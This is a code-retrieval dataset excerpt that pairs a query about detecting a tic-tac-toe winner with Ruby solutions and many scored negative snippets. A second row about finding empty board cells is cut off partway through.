query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
does this board have a winner? check if there is a winning row, then if there is a winning column, then diagonal. returns the winner or nil if the game is not yet won. a winning row/column/diagonal is one which has no nils and whose elements are all the same. the winner is then the element which is the same.
def winner [rows, columns, diagonals].each do |groups| win_groups = groups.select { |g| g.all? && g.uniq.size == 1 } return [@human_player, @computer_player].find { |p| p.to_s == win_groups[0][0] } if !win_groups.empty? end nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def winner\n # shortcut for less typing\n b = @board\n\n # rows\n return b[0] if b[0] == b[1] && b[1] == b[2]\n return b[3] if b[3] == b[4] && b[4] == b[5]\n return b[6] if b[6] == b[7] && b[7] == b[8]\n\n # cols\n return b[0] if b[0] == b[3] && b[3] == b[6]\n return b[1] if b[1] == b[4] && b[4] == b[7]\n return b[2] if b[2] == b[5] && b[5] == b[8]\n\n # diagonals\n return b[4] if b[0] == b[4] && b[4] == b[8]\n return b[4] if b[2] == b[4] && b[4] == b[6]\n\n end", "def winner\n (rows + cols + diagonals).each do |triple|\n return :x if triple == [:x, :x, :x]\n return :o if triple == [:o, :o, :o]\n end\n \n nil\n end", "def winner\n if won? != false && won? != nil\n win = won?\n return @board[win[0]]\n else\n return nil\n end\n end", "def winner\n [\n [[0,0],[0,1],[0,2]], # column 0\n [[1,0],[1,1],[1,2]], # column 1\n [[2,0],[2,1],[2,2]], # column 2\n [[0,0],[1,0],[2,0]], # row 0\n [[0,1],[1,1],[2,1]], # row 1\n [[0,2],[1,2],[2,2]], # row 2\n [[0,0],[1,1],[2,2]], # descending diagonal\n [[0,2],[1,1],[2,0]], # ascending diagonal\n ].each do |cells|\n vals = cells.map {|x, y| board[y][x] }\n return :x if vals == %w( X X X )\n return :o if vals == %w( O O O )\n end \n return nil\n end", "def winner\n if won? == nil\n return nil\n else\n winning_position = won?\n winning_index = winning_position[0]\n @board[winning_index]\n end\n end", "def won?\n #diagonals first\n has_left_diagonal = true\n has_right_diagonal = true\n (1..@board.length-1).each do |i|\n has_left_diagonal = false unless @board[i][i] == @board[0][0]\n has_right_diagonal = false unless @board[i][-1-i] == @board[0][-1]\n end\n return @board[0][0] if has_left_diagonal\n return @board[-1][0] if has_right_diagonal\n \n #check rows\n (0..@board.length-1).each do |i|\n #slightly more concise but costly ( O(n^2) per uniq ) than a manual check\n return @board[i][0] if @board[i].uniq.length == 1\n end\n \n #check columns\n (0..@board.length-1).each do |i|\n player = @board[0][i]\n has_column = true\n (1..@board.length-1).each do |j|\n has_column = false unless @board[j][i] == player\n end\n return player if has_column\n end\n \n return 0\n end", "def winner\n if won?\n winner = won?\n return @board[winner[0]]\n else\n return nil\n end\n end", "def check_winner\n row_filled_with_same_element = ->(row) { row.reduce(row[0]) { |acc, elem| acc if elem == acc } }\n winners = [board, board.transpose, diagonals].map do |board_version|\n board_version.map(&row_filled_with_same_element).find { |row| row && row != 0 }\n end\n winners.find { |row| row }\n end", "def winner\n if won?\n return @board[ won?[0] ]\n else\n return nil\n end\n end", "def winner\n triplet = won?\n if !!triplet\n return @board[triplet[0]]\n end\n return nil\n end", "def winner\n\n # Check every row\n winner = winner_rows()\n\n # Winner?\n if winner\n\n # Yes, the game is over\n return winner\n\n end\n\n # No row winner, so check every column\n winner = winner_columns()\n\n # Winner?\n if winner\n\n # Yes, the game is over\n return winner\n\n end\n\n # No row or column winner, so check every diagonal\n winner = winner_diagonals()\n\n # Winner?\n if winner\n\n # Yes, the game is over\n return winner\n\n end\n\n # Otherwise, no winner\n return\n\n end", "def winner\n (@rows + cols + diagonals).each do |row|\n return :x if row.all? { |mark| mark == :x }\n return :o if row.all? { |mark| mark == :o }\n end\n \n nil\n end", "def get_winner\n indexes_to_check = (0..@n-3).to_a\n\n # Check horizontal winners\n @board.each_with_index do |_, k|\n indexes_to_check.each do |idx|\n return @board[k][idx] if marked(k, idx) && similar_value([k, idx], [k, idx + 1], [k, idx + 2])\n end\n end\n\n # Check vertical winners\n @n.times do |k|\n indexes_to_check.each do |idx|\n return @board[idx][k] if marked(idx, k) && similar_value([idx, k], [idx + 1, k], [idx + 2, k])\n end\n end\n\n # Check diagonal winners\n indexes_to_check.product(indexes_to_check).each do |idx1, idx2|\n if marked(idx1, idx2) && similar_value([idx1, idx2], [idx1 + 1, idx2 + 1], [idx1 + 2, idx2 + 2])\n return @board[idx1][idx2]\n elsif marked(idx1, idx2 + 2) && similar_value([idx1, idx2 + 2], [idx1 + 1, idx2 + 1], [idx1 + 2, idx2])\n return @board[idx1][idx2+2]\n end\n end\n\n false\n end", "def winner\n won? ? board.cells[won?[0]] : nil\n end", "def winner\n if won = won?\n board.cells[won.first]\n end\n #won? == false ? nil : @board.cells[winner[0]];\n end", "def winner\n if self.won?\n self.board.cells[self.won?[0]]\n elsif self.draw?\n nil\n end\n end", "def winner\n #see if there are four in a row\n @columns.times do |c|\n @rows.times do |r|\n check = @slots[c][r]\n if check != nil\n if (r <= @rows - 4) && [check, @slots[c][r+1], @slots [c][r+2], @slots[c][r+3]].uniq.length == 1\n return check\n elsif (c <= (@columns - 4)) && [check, @slots[c+1][r], @slots[c+2][r], @slots[c+3][r]].uniq.length == 1\n return check\n elsif (r >= 3) && (c <= (@columns - 4)) && [check, @slots[c+1][r-1], @slots[c+2][r-2], @slots[c+3][r-3]].uniq.length ==1\n return check\n elsif (r >= 3) && (c >= (@columns - 4)) && [check, @slots[c-1][r-1], @slots[c-2][r-2], @slots[c-3][r-3]].uniq.length ==1\n return check\n end\n end\n end\n end\n return false\n end", "def winner\n if check_rows_for_winner || check_columns_for_winner || check_diagonals_for_winner\n return @player\n else\n return nil\n end\n end", "def winner\n row_winners = rows.select{|r| identical_symbols(r)}.map{|r| r[0]}\n column_winners = columns.select{|c| identical_symbols(c)}.map{|c| c[0]}\n diagonal_winners = diagonals.select{|d| identical_symbols(d)}.map{|d| d[0]}\n winners = (row_winners + column_winners + diagonal_winners).uniq - %w(_)\n players = winners.map{|w| to_player_number(w)}\n players[0] # this would default to nil if players is empty\n end", "def winner?(board)\n #vertical and horizonal equality checks\n j = 0\n for i in 0...3\n return true if (board[j]==board[j+1])&&(board[j+1]==board[j+2])\n\n j += 3\n end\n #verticals equality test\n j = 0\n for i in 0...3\n\n return true if (board[j]==board[j+3])&&(board[j+3]==board[j+6])\n j += 1\n end\n\n #diagonals equality test\n \n return true if (board[0]==board[4])&&(board[4]==board[8])\n return true if (board[2]==board[4])&&(board[4]==board[6])\n \n\n false\n end", "def check_winner\n cells_t = cells.transpose\n row_winner(cells)\n row_winner(cells_t)\n diagonal_winner unless winner\n announce_winner if winner\n winner\n end", "def winner()\n if won?()\n return @board[won?()[0]]\n end\n return nil\n end", "def check_rows_for_winner\n\n if board[0][0] == board[0][2] and board[0][1] == board[0][2] and not board[0][1] == nil\n @player = board[0][0]\n elsif board[1][0] == board[1][2] and board[1][1] == board[1][2] and not board[1][1] == nil\n @player = board[1][1]\n elsif board[2][0] == board[2][2] and board[2][1] == board[2][2] and not board[2][1] == nil\n @player = board[2][2]\n end\n end", "def winner\n winner=winner_row()\n if winner\n return winner\n end\n\n winner=winner_col()\n if winner\n return winner\n end\n \n winner=winner_daigonal()\n if winner \n return winner\n end\n\n # if no winner \n return \n end", "def winner\n self.won?? self.board.cells[self.won?[0]] : nil\n end", "def winner\r\n win_combination = won?\r\n if win_combination\r\n win_index = win_combination[0]\r\n @board[win_index]\r\n end\r\n end", "def winner\n if won?\n @board[won?[0]]\n end\n end", "def check_columns_for_winner\n # @player = nil\n if board[0][0] == board[1][0] and board[1][0] == board[2][0] and not board[0][0] == nil\n @player = board[0][0]\n elsif board[0][1] == board[1][1] and board[1][1] == board[2][1] and not board[0][1] == nil\n @player = board[0][1]\n elsif board[0][2] == board[1][2] and board[1][2] == board[2][2] and not board[0][2] == nil\n @player = board[0][2]\n end\n end", "def winner\n if won?\n @board[won?[0]]\n end\n end", "def winner?\n (board[:a] == board[:b] && board[:b] == board[:c]) ||\n (board[:d] == board[:e] && board[:e] == board[:f]) ||\n (board[:g] == board[:h] && board[:h] == board[:i]) ||\n (board[:a] == board[:d] && board[:d] == board[:g]) ||\n (board[:b] == board[:e] && board[:e] == board[:h]) ||\n (board[:c] == board[:f] && board[:f] == board[:i]) ||\n (board[:a] == board[:e] && board[:e] == board[:i]) ||\n (board[:c] == board[:e] && board[:e] == board[:g])\n end", "def winner_diagonals\n\n # Start at the top left, get the player symbol (X or O) to match\n first_symbol = @board[0][0]\n\n # Traverse the diagonal from top left to bottom right\n for index in 1..BOARD_MAXIMUM_INDEX\n\n # Does this cell match the first symbol?\n if first_symbol != @board[index][index]\n\n # No, this diagonal IS NOT a winning combination\n break\n\n # At the end of this diagonal and not all empty?\n elsif index == BOARD_MAXIMUM_INDEX and first_symbol != EMPTY_POSITION\n\n # Yes, this diagonal IS a winning combination\n return first_symbol\n\n end\n\n end\n\n # Start at the top right, get the player symbol (X or O) to match\n row = 0 # Top\n column = BOARD_MAXIMUM_INDEX # Right\n first_symbol = @board[row][column]\n\n # Loop through each row (backwards diagonal)\n while row < BOARD_MAXIMUM_INDEX\n \n row += 1 # Down to the next row\n column -= 1 # Left to the next column\n\n # Does this cell match the first symbol?\n if first_symbol != @board[row][column]\n\n # No, this diagonal IS NOT a winning combination\n break\n\n # At the end of this diagonal and not all empty?\n elsif row == BOARD_MAXIMUM_INDEX and first_symbol != EMPTY_POSITION\n\n # Yes, this diagonal IS a winning combination\n return first_symbol\n\n end\n\n end\n\n # Nope, no winner in any diagonal\n return\n\n end", "def winner\n if !won?\n nil\n else winner = @board[won?[0]]\n\n end\n\n end", "def check_board\n\n # starting at top left, check top row, diagonal and left column\n if ( ($game_board[0][0] == $game_board[0][1] && $game_board[0][0] == $game_board[0][2]) ||\n ($game_board[0][0] == $game_board[1][1] && $game_board[0][0] == $game_board[2][2]) ||\n ($game_board[0][0] == $game_board[1][0] && $game_board[0][0] == $game_board[2][0]) )\n $winner = $game_board[0][0] \n\n # starting at top middle, check middle column\n elsif ($game_board[0][1] == $game_board[1][1] && $game_board[0][1] == $game_board[2][1])\n $winner = $game_board[0][1]\n\n #starting at top right, check right column and diagonal\n elsif (($game_board[0][2] == $game_board[1][2] && $game_board[0][2] == $game_board[2][2]) ||\n ($game_board[0][2] == $game_board[1][1] && $game_board[0][2] == $game_board[2][0]))\n $winner = $game_board[0][2]\n\n #starting at middle left, check middle row\n elsif ($game_board[1][0] == $game_board[1][1] && $game_board[1][0] == $game_board[1][2])\n $winner = $game_board[1][0]\n\n #starting at bottom left, check bottom row\n elsif ($game_board[2][0] == $game_board[2][1] && $game_board[2][0] == $game_board[2][2])\n $winner = $game_board[2][0]\n end\n \n if $winner\n puts $winner.to_s + \" wins!\" \n exit\n end\n \n #if we don't have a winner at this point, and all the spaces are filled (not nil), then it's a tie\n if $game_board.flatten.all?\n puts \"It's a tie!\"\n exit\n end\n \nend", "def winner\n return @board[won?[0]] if won?\n end", "def winner\n if winning_array = won?\n @board[winning_array[0]]\n end\n end", "def winner\n index = won?\n if index && @board.cells[index[0]] == \"X\"\n return \"X\"\n elsif index && @board.cells[index[0]] == \"O\"\n return \"O\"\n else\n return nil\n end\n end", "def winner\n result = nil\n @field.each do | row | result ||= winner_test(row) end # Horizontal\n @field.transpose.each do | row | result ||= winner_test(row) end # Vertical\n result || winner_test((0..2).map{|i| @field[i][i]}) || winner_test((0..2).map{|i| @field[2-i][i]}) # Diagonal\n end", "def win\n # horizontal win\n winner = horizontal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Vertical win (way harder to test for)\n winner = vertical_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Diagonal win\n winner = diagonal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # If the board is full and there are no declared winners\n\n if full?\n victory(\"Nobody\")\n return \"tie\"\n end\n return false\n end", "def winner\n if won?\n win_array = won?\n position = win_array[0]\n @board[position]\n else \n nil\n end\nend", "def winner_row\n for row_index in 0..BOARD_MAX_INDEX\n first_symbol=@board[row_index][0]\n for col_index in 1..BOARD_MAX_INDEX\n if first_symbol !=@board[row_index][col_index]\n break \n elsif col_index ==BOARD_MAX_INDEX and first_symbol != EMPTY_POS\n return first_symbol\n end\n end\n end\n return \n end", "def winner\n won = won?()\n if won != false\n if @board[won[0]] == \"X\"\n return \"X\"\n elsif @board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\n end", "def winner()\n if won?()\n win = won?()\n if @board[win[0]] == \"X\"\n return \"X\"\n elsif @board[win[0]] == \"O\"\n return \"O\"\n else @board[win[0]] != \"X\" && @board[win[0]] != \"O\" #srsly..this is like ducttape over a huge hole\n return nil\n end\n end\nend", "def winner(board)\n if !won?(board)\n return nil\n else board[won?(board)[0]]\n end\nend", "def winner\n if winning_combo = won?\n @winner = @board.cells[winning_combo.first]\n end\n end", "def winner\n # checks to see if game was won\n if won?\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n board.cells[win_array[0]] == \"X\" && board.cells[win_array[1]] == \"X\" && board.cells[win_array[2]] == \"X\" ||\n board.cells[win_array[0]] == \"O\" && board.cells[win_array[1]] == \"O\" && board.cells[win_array[2]] == \"O\"\n end\n board.cells[winning_array[0]]\n end\n end", "def winner(board)\n win = won?(board)\n if win == false\n return nil\n else\n board[win[0]]\n end\nend", "def winner_columns\n\n # Outer loop to look for a winner down the column\n for column in 0..BOARD_MAXIMUM_INDEX\n\n # Get the player symbol (X or O) that must match\n first_symbol = @board[0][column]\n\n # Inner loop to look at all elements in this column's rows\n for row in 1..BOARD_MAXIMUM_INDEX\n\n # Does this cell match the first symbol?\n if first_symbol != @board[row][column]\n\n # No, this column IS NOT a winning combination\n break\n\n # At the end of this column and not all empty?\n elsif row == BOARD_MAXIMUM_INDEX and first_symbol != EMPTY_POSITION\n\n # Yes, this column IS a winning combination\n return first_symbol\n\n end\n\n end\n\n end\n\n # Nope, no winner in any columns\n return\n\n end", "def winner(board)\n\tif won?(board) != nil\n\t\twon?(board).each do |win_num|\n\t\t\treturn board[win_num][0]\n\t\tend\n\tend\nend", "def winner\n win_combination = won?\n if win_combination == false\n nil\n elsif @board.cells[win_combination[0]] == \"X\"\n return \"X\"\n elsif @board.cells[win_combination[0]] == \"O\"\n return \"O\"\n end\n end", "def winner(board)\n triplet = won?(board)\n if !!triplet\n return board[triplet[0]]\n end\n return nil\nend", "def winner(board)\n triplet = won?(board)\n if !!triplet\n return board[triplet[0]]\n end\n return nil\nend", "def winner(board)\n winner = won?(board)\n return won?(board) == false ? nil : board[winner[0]]\nend", "def winner(board)\n if !(won?(board))\n return nil\n elsif won?(board).all?{|element| board[element] == \"X\"}\n return \"X\"\n elsif won?(board).all?{|element| board[element] == \"O\"}\n return \"O\"\n end\nend", "def winner(board)\n if won?(board)\n winner = won?(board)\n return board[winner[0]]\n else\n return nil\n end\nend", "def winner \n @board[won?[0]] if won?\n end", "def winner\n if winning_combo = won?\n @board[winning_combo.first]\n end\n end", "def winner(board)\n \n win_combination = won?(board)\n if win_combination.is_a? Array\n return board[win_combination[0]]\n else\n return nil\n end\n \nend", "def winner(board)\n if won?(board) == false\n return nil\n else\n arra = won?(board)\n return (board[arra[0]])\n end\nend", "def won? (board)\n #for each row, column and diagnonal combination\n WIN_COMBINATIONS.each do | win_combination |\n #grab the winning combinaation of indices we are looking for\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n #extract the value of these winning indices from the board\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n\n #check if either team has won\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n #we break out of here if we have a winning row, col, or diagnonal\n return win_combination\n end #end if\n end #end for each\n\n #if we get here the board may be empty\n #if we get here the board may be filled, but no winning combos\n return false\nend", "def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend", "def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend", "def winner\n WIN_COMBINATIONS.each do |win_combination|\n #puts win_combination.inspect\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n position_1 = @board[win_index_1] \n position_2 = @board[win_index_2] \n position_3 = @board[win_index_3] \n \n if position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n return position_1\n end\n end\n nil\n end", "def winner\n match = horizontal_match || vertical_match || diagonal_match\n match ? @last_drop[:piece] : nil\n end", "def winner\n won = \"\"\n if winner = won?\n won = @board[winner.first]\n end\n end", "def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end", "def winner_col\n for col_index in 0..BOARD_MAX_INDEX\n first_symbol=@board[0][col_index]\n\n for row_index in 1..BOARD_MAX_INDEX\n if first_symbol !=@board[row_index][col_index]\n break\n elsif\n row_index == BOARD_MAX_INDEX and first_symbol !=EMPTY_POS\n return first_symbol\n end\n end\n end\n return \n end", "def winner\n if won? == false\n return nil\n end\n\n a = won?\n\n if @board[a[0]] == \"X\"\n return \"X\"\n else \n return \"O\"\n end\nend", "def winner(board)\n if won?(board) != nil\n board[won?(board)[0]]\n else\n end\nend", "def winner(board)\n if won?(board) != nil\n board[won?(board)[0]]\n else\n end\nend", "def winner(board)\n if won?(board) != false\n return board[won?(board)[0]]\n else\n return nil\n end\nend", "def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end", "def winner(board)\n if win_combo = won?(board)\n board[win_combo.first]\n else\n nil\n end\nend", "def winner(board)\n who_wins = won?(board)\n if who_wins\n board[who_wins[0]] \n else\n nil\n end\nend", "def winner(board)\n if won?(@board)\n return @board[won?(@board)[0]]\n end\n end", "def winner_via_diagonal?(player)\n diagonals.any? do |diagonal|\n diagonal.cells.all? {|cell| cell.value == player.marker}\n end\n end", "def winner(board)\n won?(board) ? board[won?(board)[0]] : nil\nend", "def winner(board)\n WIN_COMBINATIONS.each do |win|\n if [board[win[0]], board[win[1]], board[win[2]]] == [\"X\", \"X\", \"X\"]\n return \"X\"\n elsif [board[win[0]], board[win[1]], board[win[2]]] == [\"O\", \"O\", \"O\"]\n return \"O\"\n end\n end\n return nil\nend", "def winner_rows\n\n # Outer loop to look for a winner across the row\n for row in 0..BOARD_MAXIMUM_INDEX\n\n # Get the player symbol (X or O) that must match\n first_symbol = @board[row][0]\n\n # Inner loop to look at all elements in the given column\n for column in 1..BOARD_MAXIMUM_INDEX\n\n # Does this cell match the first symbol?\n if first_symbol != @board[row][column]\n\n # No, this row IS NOT a winning combination\n break\n\n # At the end of the row and not all empty?\n # (Make sure we haven't found three empty positions in a column)\n elsif column == BOARD_MAXIMUM_INDEX and first_symbol != EMPTY_POSITION\n\n # Yes, this row IS a winning combination\n return first_symbol\n\n end\n\n end\n\n end\n\n # Nope, no winner in any rows\n return\n\n end", "def winner(board)\n the_winner = won?(board)\n if the_winner\n board[the_winner[0]]\n else\n return nil\n end\nend", "def is_winner(x, y, player)\n return true if check_row(x, player)\n return true if check_col(y, player)\n return true if check_diagonals(player)\n return false\n end", "def winner\n return WHITEMAN unless board.has?(BLACKMAN)\n return BLACKMAN unless board.has?(WHITEMAN)\n return nil\n end", "def check_rows_for_winner?(board, piece)\n return (board[0][0] == piece && board[0][1] == piece && board[0][2] == piece ||\n board[1][0] == piece && board[1][1] == piece && board[1][2] == piece ||\n board[2][0] == piece && board[2][1] == piece && board[2][2] == piece)\n end", "def winner(board)\n if won?(board)\n indexes = won?(board)\n return board[indexes[0]]\n else \n return nil \n end\nend", "def winner\n win_combo = won?\n if win_combo\n @board[win_combo[0]] # == 'X' || 'O'\n else\n nil\n end\n end", "def check_diagonals\n diagonal_winner = nil\n # stores the markers\n backward_diagonal = ''\n forward_diagonal = ''\n\n # for a diagonal to be a winner it takes the row[n], row[n+1], row[n+2] and so on..\n @board.each_with_index do |row,index|\n\n # check if left to right diagonal is a winner\n row.each_with_index do |marker, position|\n if position == index\n backward_diagonal += marker\n end\n end\n\n # check if right to left diagonal is a winner\n reversed_row = row.reverse\n reversed_row.each_with_index do |marker, position|\n if position == index\n forward_diagonal += marker\n end\n end\n end\n\n # checks iteration count of x or o in strings to find winner\n if backward_diagonal.count('x') == @board.size || forward_diagonal.count('x') == @board.size\n diagonal_winner = 'x'\n elsif backward_diagonal.count('o') == @board.size || forward_diagonal.count('o') == @board.size\n diagonal_winner = 'o'\n end\n\n diagonal_winner\n end", "def win?(piece)\n check_rows(piece, grid) || check_rows(piece, grid.transpose) || check_diagonals(piece)\n end", "def winner(board)\n if winner = won?(board) #[0,1,2]\n board[winner[0]]\nelse\n nil\nend\nend", "def has_won(new_board)\n #check rows\n new_board.each_with_index do |row, i|\n if new_board[i][0] == new_board[i][1] && new_board[i][1] == new_board[i][2] && new_board[i][2] != '-'\n return new_board[i][0]\n end\n end\n\n #check columns\n new_board.each_with_index do |col, j|\n if new_board[0][j] == new_board[1][j] && new_board[1][j] == new_board[2][j] && new_board[2][j] != '-'\n return new_board[0][j] \n end\n end\n\n #Check Diagonals\n if new_board[0][0] == new_board[1][1] && new_board[1][1] == new_board[2][2] && new_board[2][2] != '-'\n return new_board[0][0]\n end\n\n if new_board[2][0] == new_board[1][1] && new_board[1][1] == new_board[0][2] && new_board[0][2] != '-'\n return new_board[0][0]\n end\n\n #No one has won\n return '-'\nend", "def player_won?(player)\n diagonals = []\n diagonals << (0..2).map { |i| @board[i][i] }\n diagonals << (0..2).map { |i| @board[i][-i - 1] }\n if @board.any? { |row| row.all? { |value| value == player.MARK } }\n return true\n elsif @board.transpose.any? { |row| row.all? { |value| value == player.MARK } }\n return true\n elsif diagonals.any? { |row| row.all? { |value| value == player.MARK } }\n return true\n end\n\n false\n end", "def first_row_win?(board)\n board[0] != nil &&\n board[0] == board[1] &&\n board[0] == board[2]\nend", "def winner(board)\n # Return the square entry from the winning configuration\n won?(board) ? board[won?(board)[0]] : nil\nend", "def winner(board)\n # returns X when X won, O when O won and nill when there is no winner\n if (draw?(board) || !full?(board)) && !won?(board)\n return nil\n elsif (board[won?(board)[0]] == \"X\")\n return \"X\"\n elsif (board[won?(board)[0]] == \"O\")\n return \"O\"\n end\nend", "def winner?(letter=:X)\n win_arr = [letter, letter, letter]\n\n # check rows\n return true unless @squares.index(win_arr).nil?\n\n # check columns\n return true unless @squares.index(win_arr).nil?\n end", "def check_for_winner\n\t\tdid_player_win = false\n\t\tx = 1\n\t\twhile x < 8\n\t\t\ty = 1\n\t\t\twhile y < 7\n\t\t\t\tcurrent_key = \"#{x}-#{y}\"\n\t\t\t\tcurrent_hole = game_board[current_key]\n\t\t\t\t@x_to_check = x\n\t\t\t\t@y_to_check = y\n\t\t\t\tif current_hole.owned_by_player == @current_player\n\t\t\t\t\tdid_player_win = check_for_line(x, y)\n\t\t\t\t\tif did_player_win\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ty += 1\n\t\t\tend\n\t\t\tx += 1\n\t\tend\n\t\treturn false\n\tend", "def winner(board)\n if winner_array = won?(board)\n return board[winner_array[0]]\n else\n return nil\n end\nend", "def winner?\n @board.winner?\n end", "def winner?\n return true if check_horizontal\n return true if check_vertical\n return true if check_diagonal1\n return true if check_diagonal2\n false\n end", "def won?\n WIN_COMBINATIONS.any? { |currentBoard| \n if position_taken?( currentBoard[0] ) && @board[currentBoard[0]] == @board[currentBoard[1]] && @board[currentBoard[1]] == @board[currentBoard[2]]\n return currentBoard\n end\n }\n end", "def check_for_winner\n winner = false\n until winner\n WINNING_CELLS.each do |combo|\n if board[combo[1] - 1] == board[combo[0] - 1] && board[combo[2] - 1] == board[combo[0] - 1]\n winner = true\n break\n else\n winner = false\n end\n end\n end\n winner\n end", "def won?\n \n \tboard_empty = @board.none? { |i| i == \"X\" || i = \"O\"}\n\tif board_empty\n \tfalse\n\telse\n WIN_COMBINATIONS.each do |element|\n \tif @board[element[0]] == \"X\" && @board[element[1]] == \"X\" && @board[element[2]] == \"X\" || @board[element[0]] == \"O\" && @board[element[1]] == \"O\" && @board[element[2]] == \"O\"\n \treturn element\n \tend\n \tend\n \treturn false\n end\nend" ]
[ "0.83198833", "0.81764257", "0.81486225", "0.812703", "0.8113961", "0.8099085", "0.8024261", "0.80179167", "0.80140394", "0.7967084", "0.79667944", "0.79516107", "0.7916812", "0.78925055", "0.78748506", "0.78414804", "0.7810489", "0.7754558", "0.7737589", "0.77328277", "0.7706731", "0.7678652", "0.7676149", "0.76757556", "0.766007", "0.7646854", "0.7645147", "0.7642043", "0.76222295", "0.7607717", "0.75868654", "0.75522625", "0.7542119", "0.7526035", "0.75142187", "0.74910945", "0.7481722", "0.7458004", "0.74400496", "0.7436074", "0.7431431", "0.74250054", "0.740272", "0.7402524", "0.74001676", "0.73956364", "0.73925745", "0.7388743", "0.7387638", "0.73603195", "0.73603195", "0.73470944", "0.7344488", "0.7326879", "0.73232245", "0.7301396", "0.73002905", "0.729484", "0.7292095", "0.7287764", "0.7287764", "0.7283414", "0.72789943", "0.72782785", "0.72776395", "0.7277012", "0.72767574", "0.72707915", "0.72707915", "0.7258921", "0.7256394", "0.7252226", "0.7249832", "0.72463965", "0.7245878", "0.72413176", "0.7238767", "0.721967", "0.7217887", "0.7213317", "0.7211767", "0.7210871", "0.7205417", "0.7204797", "0.7202869", "0.71974623", "0.71935034", "0.7183308", "0.71797687", "0.7174565", "0.71744794", "0.7170007", "0.7168563", "0.7161726", "0.71598333", "0.71571547", "0.7154796", "0.7154649", "0.7146162", "0.71401846" ]
0.7751713
18
returns list of tuples describing nonmarked cells > [ [r,c] ]
def available_cells cells = [] rows.each_with_index do |row, ri| row.each_with_index do |cell, ci| cells << [ri, ci] if cell.nil? end end cells end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unassigned_cells\n grid.cells.to_a.reject { |cell| cell.value }\n end", "def get_other_block_cells cell\n\t\tblock = get_block cell\n\t\tfirst_cell = cell / 27 * 27\n\t\treturn (first_cell...first_cell + 27).select { |r| block == r / 27 * 3 + r % 9 / 3 }.to_a - [cell]\n\tend", "def neighbors cell\n [\n above_cell(cell),\n below_cell(cell),\n left_cell(cell),\n right_cell(cell),\n ]\n end", "def missing\n (@_cells.values.reduce(:|) - @_cells.keys).to_a\n end", "def pieces\n self.cells.values.map {|c| c.piece }.compact.uniq\n end", "def occupied_positions\n cells.select {|cell| cell.occupied?}\n end", "def neighborhood(cell)\n Set.new((cell[0]-1..cell[0]+1).map{|x| (cell[1]-1..cell[1]+1).map{|y| [x,y]}}.\n flatten(1)) - Set.new([cell])\nend", "def get_empty_cells(cells)\r\n arr = []\r\n cells.each_with_index { |cell, i| arr << i if cell.nil? }\r\n arr\r\n end", "def get_empty_posns \n empty_posns = []\n\n @board.rows.each_with_index do |row, idx1| \n row.each_with_index do |block, idx2| \n if @board.empty?([idx1, idx2])\n empty_posns << [idx1, idx2]\n end\n end\n end\n\n empty_posns\n end", "def neighbor_cell_coordinates\n NEIGHBOR_OFFSETS.map { |coordinates| [row + coordinates[0], col + coordinates[1]] }\n end", "def unblocked_cells(options = {})\n cells.select {|c, v| v.empty? || v.content == 'R' || v.content == 'C' }\n end", "def neighbor_cells(n, m)\n cells = []\n cells << [n-1, m] if n > 0\n cells << [n+1, m] if n < height\n cells << [n, m-1] if m > 0\n cells << [n, m+1] if m < width\n return cells\n end", "def new_cells\n self.cells.select {|x| !x.is_identical}\n end", "def get_neigbouring_positions(pos)\n [ pos1(pos), pos2(pos), pos3(pos), pos4(pos), pos5(pos), pos6(pos), pos7(pos), pos8(pos) ]\n end", "def valid_locations(r, c)\n positions = []\n #top row\n positions << [r - 1, c - 1]\n positions << [r - 1, c]\n positions << [r - 1, c + 1]\n\n #center row\n positions << [r, c-1]\n positions << [r, c + 1]\n\n #bottom row\n positions << [r + 1, c - 1]\n positions << [r + 1, c]\n positions << [r + 1, c + 1]\n \n #array boundry Check on the list of positions to find those that are on the board\n positions.delete_if {|v| v[0] < 0 || v[0] >= row}.delete_if{|v| v[1] < 0 || v[1] >= column}\n return positions\n end", "def get_cells(missile)\n all_affected_cells = []\n missile.split(\"=>\").length > 1 ? (type, start_at = missile.split(\"=>\")) : (return missile)\n height, width = start_at.split(\"\")\n start_height_at = get_start_height(height)\n start_width_at = width.to_i > 1 ? width.to_i - 1 : width.to_i\n (start_height_at..height.next).each do |rows|\n (start_width_at..width.to_i+1).each do |column|\n if type == \"b\"\n all_affected_cells << \"#{rows}#{column}\" if (rows == height || column == width.to_i)\n elsif type == \"c\"\n all_affected_cells << \"#{rows}#{column}\" unless (rows == height || column == width.to_i)\n all_affected_cells << start_at unless all_affected_cells.include?(start_at)\n else\n all_affected_cells << 